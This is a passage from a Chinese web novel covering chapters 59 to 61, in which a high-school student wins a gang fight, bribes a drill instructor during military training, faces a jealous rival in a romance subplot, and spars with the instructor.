龙镇宏挣扎着爬起来,嘴角渗血,却还在狞笑:"你们以为人多就能赢?"张霆琛抹了把脸上的血,冷笑一声:"废话真多。"话音未落,他猛地冲上前,一记凶狠的肘击砸在龙镇宏的喉咙上!龙镇宏闷哼一声,捂着脖子跪倒在地,脸色涨得通红,连咳嗽都发不出声音。
张霆琛揪住他的头发,强迫他抬起头:"让你的人停手!"龙镇宏咳出一口血沫,却依然狞笑:"做梦!今天你们都得趴着出去!""嘴硬是吧?"张霆琛眼神一冷,拳头如铁锤般砸在龙镇宏的脸上,一拳、两拳、三拳……龙镇宏的鼻梁骨发出一声脆响,鲜血喷涌而出,可他的眼神依然凶狠,死死盯着张霆琛。
"妈的,这家伙骨头真硬!"李辰浩啐了一口,转头看向路译那边。路译他们陷入了苦战,高二的人虽然倒了不少,但剩下的都是硬茬子,尤其是那个**头,脑袋被石头砸得鲜血直流,却依然凶狠,一拳放倒路译的一个兄弟,转头就朝路译扑去。
"浩哥,去帮忙!"张霆琛低吼一声,李辰浩二话不说冲了过去,一记飞踹直接踹翻**头。路译趁机扑上去,膝盖狠狠顶在**头的脸上,一下、两下、三下……**头的脸很快血肉模糊,可路译依然没停手,眼神凶狠得像个疯子。
张霆琛也冲进战局,一拳放倒一个高二的,转头又踹翻另一个。邓志辉更是凶猛,招招狠辣,专挑关节下手,几个呼吸间就放倒两人。战局逐渐逆转。终于,**头撑不住了,捂着血流如注的脸,含糊不清地喊道:"撤…撤!"
高二的人如潮水般退去,只留下满地狼藉和**的伤者。路译瘫坐在地上,大口喘着粗气,冲张霆琛咧嘴一笑:"**真能打。"张霆琛也累得够呛,靠在墙上,扯了扯嘴角:"你也不赖,那**头差点被你打死。"路译哈哈大笑,可笑声牵动了伤口,疼得他龇牙咧嘴。
邓志辉走过来,脸色凝重:"赶紧撤,老师快来了。"路译点点头,挣扎着爬起来,走到龙镇宏面前,一把揪住他的衣领:"再敢碰我女人,下次就不是打你这么简单了。"说完,"啪啪"十几个耳光抽下去,龙镇宏的脸瞬间肿成猪头。张霆琛拉住路译:"行了,再打真出事了。"路译冷哼一声,一脚踹开龙镇宏,转身和张霆琛一起扶着伤员离开。
刚出后楼,就看到梁颖和陈曦站在不远处。陈曦一看到苏旭满脸是血,眼眶瞬间红了,冲上去扶住他:"小旭!你……"苏旭咧嘴一笑,露出带血的牙齿:"没事,小伤。"王涛在旁边哀嚎:"五嫂!我也受伤了啊!你怎么不关心我?"
陈曦尴尬地笑了笑:"涛弟弟…你没事吧?"王涛瞪大眼睛:"成弟弟?!"气得直咳嗽。梁颖则走到张霆琛面前,眼泪吧嗒吧嗒往下掉。张霆琛心头一热,一把将她搂进怀里。周围顿时响起一片起哄声。梁颖羞得满脸通红,使劲推他:"放开,这么多人看着呢!"
张霆琛这才反应过来,赶紧松手,挠着头尴尬道:"对不起对不起,我忘了"陈曦没好气地瞪了他一眼:"人家是女孩子,你能不能注意点?"张霆琛讪讪一笑,心里却暖洋洋的。
路译走过来,拍了拍张霆琛的肩膀:"你这朋友,我交了。以后有事,直接找我。"张霆琛点头:"谢了,今天多亏你们。"路译摆摆手:"客气啥,咱们现在是一条船上的。"说完,他带着人离开,背影潇洒。
张霆琛看着梁颖红红的眼睛,柔声道:"你们先回去吧,下午还要训练。"梁颖咬着嘴唇:"你答应我,以后别再受伤了。"张霆琛笑着点头:"好,我答应你。"看着梁颖和陈曦走远的背影,张霆琛脸上的笑容渐渐消失。他攥紧拳头,眼神阴沉。家,父亲。那些破碎的回忆又一次涌上心头。他深吸一口气,转身走向宿舍,背影孤独而决绝。
张霆琛他们几个脸上都挂了彩,青一块紫一块的,照理说该在宿舍躺着装病号。可偏偏张霆琛和苏旭死活要去训练,嘴上喊着"发扬不怕苦不怕累的**精神",可谁不知道他俩就是想去陪自家小女朋友?
"重色轻友!"李辰浩躺在床上,冲他俩比了个中指。张霆琛笑嘻嘻地回敬:"这叫爱情的力量,懂不懂?"苏旭更绝,一本正经的说:"小浩啊,你这是嫉妒。""滚蛋!"李辰浩抓起枕头砸过去。
两人嘻嘻哈哈地出了宿舍楼,结果刚下楼就撞见了路译。路译脸上也带着伤,但精神头十足,一看就是要去训练。"哟,路哥,伤成这样还去?"张霆琛挑眉。路译叼着根没点的烟,咧嘴一笑:"这点伤算个屁,我得陪媳妇去。"说着,目光落在苏旭身上,"这兄弟替我挨了一下,够义气。"
苏旭摆摆手:"小意思,说出来都没劲。"路译拍了拍他俩的肩膀:"改天请你们吃饭。不过高二那帮人现在放话了,说咱们高一要一家独大,我估摸着高三那帮老油条要插手了。"张霆琛满不在乎:"兵来将挡,水来土掩,怕啥?"路译盯着他看了两秒,忽然笑了:"行,你小子有种。"
三人分开后,张霆琛没直接去找梁颖,而是拐了个弯,直奔操场看台,教官们正
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聚在那儿抽烟吹牛,军服敞着,帽子歪戴,活像一群兵痞。张霆琛暗自撇嘴,但还是堆起笑脸走过去:"教官好!"教官斜眼看他:"啥事?""我们赖老师找您。"张霆琛一脸诚恳。教官皱眉:"赖军?他找**嘛?"
"不清楚,说是有急事。"张霆琛眨眨眼,一脸无辜。教官将信将疑地跟着他走,结果一路被带到了教学楼后头。"同学,你耍我?"教官脸色一沉。张霆琛不慌不忙,从兜里掏出一条硬中华,笑眯眯地递过去:"教官,这是我在宿舍捡的,知道不是好东西,特意上交给您处理。"教官眼睛一亮,但嘴上还端着:"这不符合规定啊。"
"您这么辛苦带我们训练,抽根烟解解乏怎么了?"张霆琛一脸真诚,"再说了,您这么年轻就当连长,以后肯定升师长、司令!"教官被捧得心里舒坦,咳嗽两声,把烟揣进兜里:"下不为例啊!"
张霆琛立马立正敬礼:"是,连长!"有了教官的特殊照顾,张霆琛他们班的训练轻松多了,休息时间比别的班长一倍,惹得其他班的学生眼红得要命。没过多久,教官又把张霆琛叫出来:"看你动作挺标准,交你个任务,去查宿舍,看看请假的人是不是真在躺着。"
张霆琛心里乐开花,面上还一本正经:"是!保证完成任务!"他看了眼名单,眼珠一转,又补了句:"教官,女生宿舍我也查?"教官挥挥手:"再找几个男生女生一起,速战速决,训练结束前回来就行。"
张霆琛立马窜到女生方队,如法炮制,把梁颖、陈曦、龚莺全叫了出来,连路译和苏旭也没落下。一群人聚在宿舍楼前,面面相觑。路译挑眉:"你就这么糊弄教官?"张霆琛耸耸肩:"那他也不能白拿我一条中华啊!""中华?!"路译瞪大眼睛,"你疯了吧?就为多休息会儿?"
张霆琛压低声音:"偷邓志辉的,反正他们整天在宿舍抽烟,熏得我头疼,正好废物利用。"苏旭扶额:"志辉要是知道了,非跟你拼命不可……""敢告密你就死定了!"张霆琛威胁地挥了挥拳头,拉着梁颖就往学校后山的小花园溜。
后山花园静谧幽深,树影婆娑。梁颖坐在长椅上,手指绞着衣角,心跳快得像是要蹦出来。"你的伤……还疼吗?"她小声问。张霆琛活动了下肩膀:"小意思,习惯了。""你经常打架?""以前是训练受伤,最近几个月才老是打架。"
梁颖好奇:"训练?你家里是做什么的?"张霆琛沉默片刻,笑了笑:"现在还不是说的时候,等以后吧。"他顿了顿,"不过我可以告诉你,我和苏旭、陈曦、李辰浩我们都是被领养的。"
梁颖睁大眼睛:"你们没有父母?那…""所以他没有家教,只会打架!"一个冰冷的声音突然插了进来,"这样的人,你最好离远点。"张霆琛猛地转头,树影下,一个戴眼镜的男生冷冷站着。
第五十九章:同病相怜
张霆琛眯起眼睛,盯着这个戴眼镜的男生,有点眼熟,但一时想不起是谁。梁颖却先站了起来,语气里带着明显的恼怒:"乔川,你来干什么?你刚才的话太过分了!"乔川?张霆琛这才想起来,这是他们班的班长,平时一副优等生的做派,成绩好,家境优渥,在老师眼里是个乖学生。
张霆琛没生气,反而笑了:"哦,班长大人啊,我怎么就没家教了?"乔川推了推眼镜,冷笑一声:"你打了高二的李耀,打了刘振平,今天又跟龙镇宏干了一架!现在还敢利用教官的职权逃训练?这不是没家教是什么?"
梁颖气得脸都红了,"你必须向张霆琛道歉!""我凭什么道歉?"乔川提高了声音,"该道歉的是他!你看看他身边都是什么人?住的什么宿舍?整天打架斗殴,这种人配和你在一起吗?"张霆琛一把拉住想要反驳的梁颖,嘴角挂着懒散的笑:"我住什么宿舍,交什么朋友,关你屁事?"
"你不配和梁颖在一起!"乔川语气强硬,转而看向梁颖,"这些事你都知道吗?""我知道。"梁颖毫不犹豫。"你知道还跟他在一起?!"乔川难以置信。张霆琛嗤笑一声:"我不配,你就配?来,说说你哪里配?"乔川挺直腰板,语气高傲:"第一,我爸是教育局局长,我妈是高级教师,我家教好,文化素养高。"
张霆琛直接笑出声,"你爸妈是谁关你什么事?素养是自己吹出来的?"乔川被噎住,脸色涨红,立刻转移话题:"我家有钱,我能给梁颖更好的生活!我学习也比你好!"张霆琛简直要笑疯了,哪来的幼稚富二代?中国教育就教出这么个玩意儿?
"你家有钱是你的吗?"张霆琛挑眉。"将来都是我的!"乔川理直气壮。"无知。"张霆琛冷笑,"你怎么知道我没你家有钱?""因为你是没人要的野孩子!"啪,张霆琛一巴掌直接扇在乔川脸上,力道不重,但足够羞辱。乔川捂着脸,却露出轻蔑的笑:"看看,这就是你和我的差距!"张霆琛的眼神瞬间冷了下来,声音低沉:"再敢说我是野孩子,我就杀了你,不信你可以试试。"
乔川被他的眼神震住,但很快又恢复傲慢:"你敢比吗?""比什么?""月考!"乔川挑衅道,"你要是输了,就离开梁颖!"梁颖气得跺脚:"乔川!你凭什么拿我当赌注?!"张霆琛却一把拉住她,盯着乔川:"我跟你比,但不会拿她当赌注。""你不敢?懦夫!"
张霆琛冷笑:"换一个赌注,一根手指头,敢吗?"乔川身子一僵,显然没想到张霆琛会赌这么大。但自尊心作祟,他硬着头皮答应:"行!你输了,自己剁下来给我!"梁颖急得直拽张霆琛:"你疯了吗?!"张霆琛却低头冲她一笑,眼神温柔:"放心,我不会输。"他的自信让梁颖心跳漏了一拍,脸颊瞬间染上红晕。
乔川见状,咬牙丢下一句:"梁颖,我会让你离开他的!"说完转身就走。张霆琛摇头叹气:"你这追求者够疯的啊,再多几个,我该赌命了。"梁颖又气又急:"你干嘛跟他赌这个?万一……"话没说完,张霆琛突然一把将她拉进怀里,低头吻住了她的唇。
梁颖瞪大眼睛,本能地想推开,可张霆琛的怀抱太温暖,他的吻太温柔,她渐渐沉溺其中,双手不自觉地环上他的脖子。微风拂过,树影婆娑,少年和少女在花园里拥吻,仿佛整个世界只剩下彼此。
良久,两人才依依不舍地分开。梁颖抿了抿微肿的唇,红着脸嘟囔:"你真坏。"张霆琛坏笑:"我要是不坏,你还喜欢我吗?"梁颖没回答,只是紧紧抱住他,把脸埋在他胸前。真好啊。张霆琛心想,这一刻,他大概是世界上最幸福的人。
傍晚,张霆琛牵着梁颖回到宿舍楼前,路译和苏旭他们已经等在那儿了。苏旭吹了个口哨,调侃道:"哟,恋爱的酸臭味~"陈曦难得没掐他,反而笑眯眯地附和:"就是,真让人羡慕。"张霆琛挠挠头,笑得有点不好意思:"抱歉,让大家久等了。"
路译提议:"叫上你们宿舍的人,晚上来我们那儿吃饭?""中午那些啤酒外卖,哪儿搞的?"张霆琛好奇。"给门卫塞两盒烟,啥都能送进来。"路译咧嘴一笑,"怎么样,一起?""行!"张霆琛点头,"我先陪梁颖吃,晚点过去。"苏旭也举手:"我也是!"
两位女生相视一笑,梁颖体贴地说:"不用啦,我们和龚莺一起吃,你们男生聚你们的。"几人回到军训场,教官走了过来,似笑非笑地看着张霆琛:"时间利用得挺好啊,宿舍查完了?"张霆琛面不改色:"查完了,您交代的事必须办好。"
教官哼笑:"我看你是去‘查女生’了吧?"张霆琛左右看看,偷偷塞给他一个Zippo打火机,压低声音:"教官,我又捡了个哈雷经典款…"教官眼睛一亮,迅速揣进兜里,脸上绷着严肃,语气却缓和不少:"行了,晚饭后的训练准你假,但只能在宿舍呆着,别乱跑。"说完,又塞给他几张空白请假条。
张霆琛心里乐开花,一条中华加个打火机,换几张免死金牌,血赚!回到宿舍,张霆琛晃了晃手里的请假表,笑得像只偷腥的猫:"从今往后,咱们的假条管够!"王涛一把抢过来,翻来覆去地看:"我去,真的假的?"邓志辉仔细检查了印章,眼睛瞪得溜圆:"**!真货!你小子怎么搞到的?"
张霆琛故作高深地摸了摸下巴:"教官说我表现优异,特批我管理请假事务。"林凯狐疑地眯起眼:"扯呢吧?"土狗憨厚地笑笑:"二哥从不说谎。"苏旭在旁边夸张地干呕一声,张霆琛一个箭步冲上去勒住他脖子,压低声音威胁:"敢说漏嘴,你就死定了!"
苏旭挣扎着大喊:"救命啊!有人要灭口"张霆琛赶紧捂住他的嘴,转头对众人干笑:"没事没事,我们闹着玩呢!"说完把苏旭拖到走廊。"一周的假!"张霆琛咬牙切齿,"训练期间你爱去哪去哪,行了吧?"苏旭眼睛一亮,假装为难地叹气:"唉,看在你这么诚恳的份上,不过要是以后我想起其他条件"
"行行行!"张霆琛恨不得掐死这个趁火**的家伙。这时路译
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晃悠过来,烟头在昏暗的走廊里明明灭灭:"走,天台喝酒去。""天台?!"王涛猛地跳起来,"那破门我们撬了一星期都没开!"路译得意地吐了个烟圈:"多亏你们把锁弄松了。"说着抛给王涛一把钥匙,"记得锁门,别让宿管发现。"
天台的夜风带着初秋的凉意。张霆琛刚推开门就被眼前的场面震住了?三十多号人围在几张拼起来的大桌旁,啤酒箱堆成小山,烧烤的香气弥漫在空气中。"你这是要反啊?"张霆琛捅了捅路译。路译咧嘴一笑:"不是有免死金牌嘛。"
酒过三巡,路译突然站上桌子,酒瓶高举:"今天这顿酒喝完,高二那帮孙子肯定要搞事。不想惹麻烦的现在就走,我绝不拦着!""干**!"大强第一个摔瓶而起。"一起上!谁怕谁!"众人纷纷举瓶呐喊,酒沫飞溅。张霆琛看着群情激奋的场面,暗自盘算一定要把路译这帮人拉拢过来。
深夜的操场静谧无人。张霆琛独自走在跑道上,月光把他的影子拉得很长。想到父亲冷峻的面容,胸口就像压了块石头。突然,一只大手搭上他的肩膀,完全是本能反应,张霆琛一个过肩摔把来人狠狠掼在地上,右手成爪直取咽喉!对方显然没料到张霆琛会来这一手。
"教、教官?!"等看清来人,张霆琛触电般缩回手,赶紧把人扶起来,教官揉着脖子,眼睛却亮得吓人:"你这身手跟谁学的?""跆拳道班...""放屁!"教官一巴掌拍在他后脑勺,"跆拳班有这么凌厉摸手法?你当老子不认识?"
张霆琛讪笑着转移话题:"教官这么晚出来干啥?""心烦,出来转一下你呢,"教官摸出根烟,张霆琛也说“心情问题。”“小屁孩有什么心情?”教官不屑的说。“您好像也才二十出头吧?”张霆琛试探的问。
教官直接给了张霆琛的脑袋一下说“小屁孩!老子二十一了,就是二十也比你大!没大没小!”张霆琛捂着脑袋恭维着说“呵呵教官您那么年轻就当上连长前途无限啊。”连长撇了他一眼说“知道的还不少,但是我老子不满意啊!就这还嫌我是个废物,**老糊涂!”
张霆琛好奇的问“您父亲是什么官啊?”教官说”军委的二把手。”张霆琛暗暗吃惊,原来这教官是军委的儿子,这人不简单啊。张霆琛还想问问别的,结果教官说“一个小屁孩我跟你讲那么多干什么?赶紧回去睡觉去。”
张霆琛吐吐舌头说“好吧,教官我叫张霆琛,我觉得咱俩的遭遇挺像的。我再怎么努力我爸也不喜欢我。”教官看看张霆琛说“看来你也能体会这种心情啊。”教官对张霆琛的印象不错转而对他说“我叫钱子轩,没人的地就叫我钱大哥吧。”张霆琛一听马上点头叫道“钱大哥?那我就不客气啦?”
月光下,两个失意者的影子渐渐重合。钱子轩笑着又拍了他脑袋一下说“赶紧回去吧!没准现在查宿呢!”张霆琛没再多说什么就直接跑回了宿舍,在后边的钱子轩看着张霆琛的背影自言自语的说“凌厉的身后,霸气的眼神。不简单呐!”
第六十章:记仇的教官
清晨六点,宿舍里还弥漫着昨夜啤酒的麦芽香气。邓志辉一个鲤鱼打挺从上铺翻下来,光着脚就走向张霆琛的床板:"喂!醒醒!老子的硬中华呢?"张霆琛把脸埋进枕头里,声音闷闷的:"什么中华..."
"装什么傻!"邓志辉一把掀开他的被子,"那条我从我爸酒柜顺的硬中华!"下铺的王涛突然诈尸般坐起来:"老子的哈雷Zippo也不见了!哪个孙子偷的?"在床头柜上磕出清脆的响声。张霆琛后背沁出一层细汗,佯装镇定地抓过毛巾:"急什么,又没长腿...""找了一整夜!"邓志辉把衣柜门摔得砰砰响,"让我逮到贼,非把他塞马桶里涮三遍!"
张霆琛落荒而逃的背影刚消失在洗漱间,林凯说“你去问问路译吧,没准他们知道什么?”“对!去问问路译,没准是他那边的人拿的。”邓志辉肯定的说。这时李辰浩拦住邓志辉说“你可别闹,刚刚跟人家站到一个阵线上别因为一盒烟闹出矛盾!”
“要真是他们偷的那么也就没必要在一起了,什么人性!”邓志辉气愤的说。王涛也在一旁煽风点火说“对对对,找他去,要是问出个所以然来就跟他们断!”说完俩人就要往外走,彭志龙赶紧拉住他俩说“别别哥几个,别因为这么点东西去质问人家啊,万一要不是呢?”“不是我给他道歉不久完了吗?”王涛说。“我们不明着问,让他帮我们查查总可以吧。”邓志辉说
正当众人剑拔**张时,苏旭突然从被窝里探出头:"那个...我知道烟在哪"几道目光如同探照灯般射来。苏旭的喉结滚动两下:"是二哥,拿去孝敬教官了,不然哪来的请假条""我就说!"邓志辉把晾衣杆折成V字,"那小子昨天跟钱教官勾肩搭背..."王涛阴笑着摸出手机:"请假条换**烟?这买卖做得妙啊..."
不一会张霆琛回来了,刚一进门就看见大家用怪异的眼神看着他说“二哥啊,我们昨天喝多了,今天想请假。”**为什么大家会这么怪异,但是也没拒绝“每个班只允许三个男生三个女生请假,咱们也不是全是一个班的,好办这事。”
“不对啊二哥,路译的人不是也要请假吗?我可是和他好几个兄弟一个班。”王涛说。张霆琛一听觉得这事还挺麻烦,咬咬牙说“得了,都请了吧,有什么事我担着。”“这才是我们的好二哥啊!”大家一起阴阳怪气的说。过了一会宿舍的人都起来了,一帮人吃完饭后直接往宿舍走,张霆琛赶紧拦住他们说“你们好歹露个面啊?”
邓志辉说“算了,有点累,那张请假表你就帮我们画上吧,一会把备份给我们拿过来。我们走了!”说完大家都得意的往回走。张霆琛摇摇头自言自语的说“今这都是怎么了?”但是也没有迟疑就帮大家填好了请假表,等到了钱教官办公室,教官看到请假名单上密密麻麻的名字时,保温杯砸在桌上:"你当这是菜市场砍价?"
张霆琛露出人畜无害的笑容:"生病这种事,总要未雨绸缪...""未雨绸缪?"钱子轩突然从抽屉掏出那条中华烟,锡纸包装在阳光下闪着危险的光泽,"这也是未雨绸缪?"走廊传来脚步声的刹那,钱子轩闪电般将烟塞回抽屉。他俯身在张霆琛耳边低语:"今天我要看场好戏..."
正午的操场热浪蒸腾。钱教官的哨声刺破寂静:"张霆琛!迟到!五公里!""我明明..."张霆琛的话被第二声哨响截断。"顶嘴?加罚两百俯卧撑!"钱子轩的迷彩帽檐下,眼睛眯成危险的缝隙。这回张霆琛算是明白了,这个钱子轩是故意整自己,自己再说什么也是徒劳,不如顺着他还好点,这回张霆琛没有再多说什么。钱子轩还派了一个人监视他,给他数数。乔川捧着记录本小跑过来,镜片后的眼睛闪着兴奋的光:"教官,我来计数。"
塑胶跑道上,张霆琛的身影在热浪中微微扭曲。当他跑完第十二圈时,乔川的钢笔尖已经在纸上戳出三个洞。"198...199...200!"乔川的报数声越来越尖利。张霆琛撑起身时,作训服甚至没完全汗湿。
等他俩告诉钱子轩做完了时,眼珠子都快瞪得掉出来了,要知道一个高一的学生跑完五千米可以不面红耳赤,而且接下来可以做200个俯卧撑,那简直是不可能的事情。但是张霆琛做到了,这更加让钱子轩相信张霆琛是经过特殊训练的。
烈日当空,操场上蒸腾的热浪扭曲了视线。训练还在继续,张霆琛感觉自己的迷彩服已经湿透又干、干了又湿好几轮,后背结了一层薄薄的盐霜。他的双臂不受控制地颤抖着,指尖因为长时间保持握枪姿势而发麻。
"坚持住!才两个小时就受不了了?"钱子轩教官的声音在耳边炸响。张霆琛咬紧牙关,汗水顺着眉骨滑进眼睛,火辣辣的疼。他保持着标准的**姿势,心里已经把钱子轩的祖宗十八代问候了个遍。
"手再抬高两公分!"钱子轩用教鞭戳了戳张霆琛的手肘,"就你这样还想过肩摔?"张霆琛猛地扭头,对上钱子轩似笑非笑的眼睛。那双眼睛里没有恶意,反而带着某种野兽发现猎物般的兴奋。张霆琛突然明白这家伙是在记着过肩摔的事。
"报告教官,"张霆琛从牙缝里挤出声音,"您要是想报复,不如直接给我个痛快。"钱子轩哈哈大笑,笑声在空旷的操场上格外刺耳。其他连队的学生早就解散休息了,只有张霆琛一个人被留下来"加餐"。
"报复?"钱子轩绕到张霆琛面前,军靴碾碎了几根枯草,"我这是在栽培你。昨天那个过肩摔动作很漂亮,但发力点不对。要是遇到真正的高手,你现在已经躺医院了。"
张霆琛愣住了。钱子轩的眼神变得认真起来,那种猎人般的锐利让他后背发凉。"所以,"钱子轩拍拍他的肩膀,力道大得让张霆琛膝盖一软,"咱们今天来点特别的。"接下来的三个小时成了张霆琛的噩梦。钱子轩像是打开了什么开关,从军体拳到格斗技巧,从耐力训练到反应测试,变着花样折腾他。当正午的太阳升到头顶时,张霆琛终于支撑不住,像滩烂泥一样瘫倒在草地上。
"不错,很不错!"钱子轩蹲下来,从兜里掏出香烟,悠然点上。烟雾在炽热的空气中扭曲升腾。张霆琛眯起眼睛,阳光刺得他视线模糊。"把中华还我!"张霆琛哑着嗓子说,伸手就要去抢。钱子轩敏捷地躲开,笑得像个恶作剧得逞的孩子:"怎么着,送人的东西还有要回来的?"
"你还敢说!"张霆琛挣扎着坐起来,迷彩服后背全是草屑和泥土,"你折腾我一个上午了!还想安安心心抽我的烟。军队里不都是拿人钱财**的吗?""我不是替你消灾了吗?"钱子轩耍无赖地吐了个烟圈,"你的朋友我可都批假了。"张霆琛气得抓起一把草扔过去:"你就是一个无赖!"
钱子轩不躲不闪,任由草叶落在自己笔挺的军装上。他深吸一口烟,突然正色道:"下午休息,晚饭后来小花园。咱俩过两招,赢了我就好好对你,输了那就继续特训到军训结束。"
"你这不是欺负人吗?"张霆琛瞪大眼睛,"我才多大?跟你打?""过还是不过?"钱子轩的声音突然沉下来,带着不容拒绝的压迫感。张霆琛盯着钱子轩看了几秒,突然笑了:"操!你就是个无赖!"他伸出手,"扶我起来!"钱子轩挑眉:"我是你教官,你敢这么跟我说话?"
趁钱子轩愣神的功夫,张霆琛猛地将满是泥土的手拍在他脸上,然后兔子似的窜起来就跑。身后传来钱子轩的怒吼和沉重的脚步声,但张霆琛像条泥鳅一样在操场障碍物间穿梭,最终成功逃回了宿舍。
推开宿舍门,苏旭他们正四仰八叉地躺在床上玩手机,看到张霆琛狼狈的样子,土狗一口水喷了出来。"二哥,你这是去挖煤了?"张霆琛直接瘫倒在床上
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,连手指都不想动:"被那个变态教官钱子轩折腾了一上午"
"谁是钱子轩?"苏旭从手机屏幕上抬起头。"就咱们总教官,"张霆琛有气无力地说,"昨天我散步他偷袭我,我给了他个过肩摔,再加上今天你们请假的事,加起来搞我呢"宿舍里瞬间安静了。李辰浩的手机啪嗒掉在地上:"你给总教官过肩摔?"
"牛逼啊二哥!"王涛竖起大拇指,"不过要是我,也得往死里练你。"张霆琛翻了个白眼:"更糟的是,下午他还约我单挑。输了就特训到军训结束。"邓志辉幸灾乐祸地笑了:"自求多福吧兄弟,我们吃饭去了。"说着招呼其他人往外走。
张霆琛突然想起什么,一个鲤鱼打挺跳起来:"操!梁颖还在食堂等我!"他冲进卫生间胡乱洗了把脸,抓起外套就往外冲。身后传来苏旭的喊声:"等等我!我媳妇也"话音未落,他的手机响了,看了一眼就变了脸色,"完了完了迟到了!"一阵风似的超过张霆琛冲了出去。
食堂门口,梁颖安静地站在树荫下。她今天扎了个高马尾,白色T恤配浅蓝牛仔裤,在烈日下干净得像幅水彩画。张霆琛正要跑过去,却看见乔川站在她面前,镜片后的眼睛闪着咄咄逼人的光。
"他给不了你幸福。"乔川的声音隐约传来,"我看过他的档案,他就是个孤儿!"张霆琛的脚步顿住了。孤儿这个词像把刀,精准地扎进他最脆弱的地方。他看见梁颖的脸色变了,那双总是温柔的眼睛里燃起怒火。
"我就是喜欢他,"梁颖的声音很轻但很坚定,"幸福是两个人一起创造的。而且你擅自翻看别人档案,应该向张霆琛道歉!"乔川激动地推了推眼镜:"不靠家里我一样比他强!我哪里比不上他?"
"就这一点你就比不过我。"张霆琛大步走过去,挡在梁颖前面。乔川像被踩了尾巴的猫:"我怎么比不上你?"张霆琛盯着他,突然笑了:"我不会靠贬低别人来抬高自己。另外"他向前一步,声音冷了下来,"再敢翻我的档案,你会后悔的。别以为我在开玩笑。"
乔川脸色发白,攥紧拳头:"月考见真章!"说完转身就走,背影僵硬得像块木板。梁颖轻轻拉住张霆琛的手:"对不起,都是因为我"张霆琛摇摇头,把那些关于"孤儿"的刺痛压回心底:"不是你的错。走,吃饭去。"
食堂里人声鼎沸,不断有人跟张霆琛打招呼。自从他单挑打赢高二那帮人后,他们班在食堂有了固定座位,周围三米内都没人敢坐。"二哥要不要收拾那小子?"邓志辉端着餐盘凑过来。张霆琛夹了块排骨给梁颖:"不用。对付这种人,得用他最骄傲的方式打败他。"
"你学习行吗?"邓志辉压低声音,"那家伙可是年级前三,据说高中部直接保送重点大学的苗子。"李辰浩在旁边笑了:"放心吧,小琛的成绩不输他的身手。"餐桌上顿时一片哗然。梁颖惊讶地看着张霆琛,后者正专注地挑着鱼刺,耳尖却悄悄红了。
"**,二哥你还有什么是不会的?"土狗夸张地捂住胸口,"长得帅、学习好、打架厉害,怪不得嫂子对你死心塌地!"梁颖的脸瞬间红到耳根,低头猛扒饭。张霆琛敲了敲桌子:"吃饭都堵不住你们的嘴?"但眼里的笑意藏都藏不住。
下午的军训张霆琛果然被特批休息。他躺在宿舍床上,脑子里却回放着钱子轩说的话"发力点不对"。那个过肩摔他练了无数遍,怎么可能不对?张霆琛回想师傅陈海教的招式以及人体要害部位。
"原来如此..."张霆琛眯起眼睛。钱子轩说得对,如果昨天他再偏移两厘米,确实能造成更大伤害,但同时也可能致命。他看了眼时间。距离晚饭还有三小时,足够他恢复体力。今晚和钱子轩的比试,张霆琛的嘴角勾起一抹笑。他从来不是任人宰割的性子,就算是教官,也得让对方知道张霆琛不是好惹的。
第六十一章:私下切磋
午后的阳光透过宿舍窗帘的缝隙洒进来,张霆琛伸了个懒腰,揉了揉惺忪的睡眼。床头的闹钟显示已经五点二十,他猛地坐起身,钱子轩约定的单挑时间是五点整。"糟了,迟到了!"张霆琛三两下套上T恤和运动裤,抓起桌上的矿泉水猛灌一口。
宿舍里其他几个人正围在一起打牌,见他醒了,邓志辉立刻丢下牌:"二哥醒了!走走走,咱们一起去看热闹!""不行,"张霆琛抹了把嘴,眼神坚定,"说好是单挑,人多反而不好。"李辰浩若有所思地看着他:"那你一个人去?"张霆琛的目光在宿舍里转了一圈,最后落在正在做俯卧撑的苏旭身上:"小旭,你跟我去。"
苏旭一个鲤鱼打挺站起来,汗珠顺着他的短发往下滴:"二哥,真带我去?"他眼睛亮得惊人,像是早就期待着这一刻。"嗯,有原因。"张霆琛简短地说,拍了拍苏旭的肩膀,"走吧。"两人快步穿过校园,夕阳将他们的影子拉得很长。苏旭几次欲言又止,最终还是忍不住问:"二哥,到底为啥带我?"张霆琛脚步不停,声音低沉:"钱子轩不是普通教官,他爸是军委的,如果能把握住,对我们未来的发展是一个很大的助力。"
苏旭倒吸一口冷气:"那你还要跟他单挑?""不单挑怎么让他看得起我们?"张霆琛突然停下,直视苏旭的眼睛,"小旭,你不是一直想当兵吗?今天是个机会。"苏旭愣住了,嘴唇微微发抖:"二哥,你是要...""先看看情况。"张霆琛没多说,推开花园的铁门。
钱子轩正靠在一棵梧桐树下看表,见他们进来,冷哼一声:"迟到了二十分钟,小子。"张霆琛耸耸肩:"你折腾我一上午,还不让我补个觉?"钱子轩的目光在苏旭身上停留了几秒:"怎么,带援兵?想二打一?""说好单挑就是单挑,带他来自然有我的道理。可以开始了吗?"钱子轩嘴角勾起一抹笑:"随时恭候。"
话音未落,张霆琛已经如离弦之箭冲了出去,右拳直取钱子轩面门。钱子轩侧头避过,却见张霆琛拳势突变,手肘如铁锤般砸向他的胸口。"好小子!"钱子轩双臂交叉格挡,被震得后退半步,眼中闪过一丝惊讶。张霆琛不给喘息机会,连环三腿如旋风般扫出,却被钱子轩一一化解。两人你来我往十几个回合,花园里尘土飞扬。
苏旭在一旁看得目瞪口呆。他从未见过张霆琛如此全力以赴,每一招都凌厉如刀,突然,钱子轩抓住一个破绽,一记鞭腿扫在张霆琛腰间。张霆琛闷哼一声,踉跄后退,嘴角渗出一丝血迹。"认输吧,小子。"钱子轩甩了甩手腕,"你打不过我。"张霆琛用手背擦掉血迹,突然闭上眼睛。风拂过他的发梢,时间仿佛静止了一瞬。
当他再次睁眼时,苏旭几乎惊叫出声,张霆琛的眼神完全变了,如同出鞘的利剑,锋芒毕露。钱子轩也察觉到了异样,眉头微皱:"这是..."张霆琛动了,速度快得几乎出现残影。钱子轩仓促迎击,却见张霆琛在半空中变招,化拳为掌,四指如剑,稳稳停在距离钱子轩咽喉一寸之处。
"你输了。"张霆琛的声音平静得可怕。花园里一片寂静。钱子轩的喉结上下滚动了一下,缓缓放下防御的双手:"好身手,跟谁学的?""跆拳道老师。"张霆琛收回手,呼吸渐渐平稳。钱子轩摇头笑了笑:"不愿说就算了。张霆琛,我想带你去部队。以你的素质,在特种部队会有大发展。"
